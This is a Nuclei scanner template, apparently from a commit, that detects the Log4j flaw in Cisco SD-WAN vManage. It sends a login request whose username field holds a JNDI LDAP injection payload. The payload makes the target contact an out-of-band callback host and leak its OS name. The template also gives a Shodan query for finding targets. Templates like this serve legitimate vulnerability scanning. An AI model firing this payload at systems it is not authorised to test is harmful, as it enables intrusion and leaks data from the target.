Create cisco-vmanage-log4j.yaml

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Dhiyaneshwaran 2022-08-03 18:42:29 +05:30 committed by GitHub
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id: cisco-vmanage-log4j
info:
name: Cisco vManage Log4J
author: DhiyaneshDK
severity: critical
description: Cisco SD-WAN vManage is affected by the following critical vulnerability in the Apache Log4j Java logging library as described in the cisco-sa-apache-log4j-qRuKNEbd advisory
reference:
- https://www.tenable.com/plugins/nessus/161212
metadata:
verified: true
shodan-query: title:"vManage"
tags: rce,jndi,log4j,cisco
requests:
- raw:
- |
POST /j_security_check HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Origin: {{BaseURL}}
Referer: {{BaseURL}}
j_username=${jndi:ldap://${sys:os.name}.{{interactsh-url}}}&j_password=admin&submit=Log+In
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"
- type: regex
part: interactsh_request
regex:
- '([a-zA-Z0-9.-]+).([a-z0-9]+).([a-z0-9]+).\w+' # Match for extracted ${sys:os.name} variable
extractors:
- type: kval
kval:
- interactsh_ip # Print remote interaction IP in output
- type: regex
part: interactsh_request
group: 1
regex:
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${sys:os.name} in output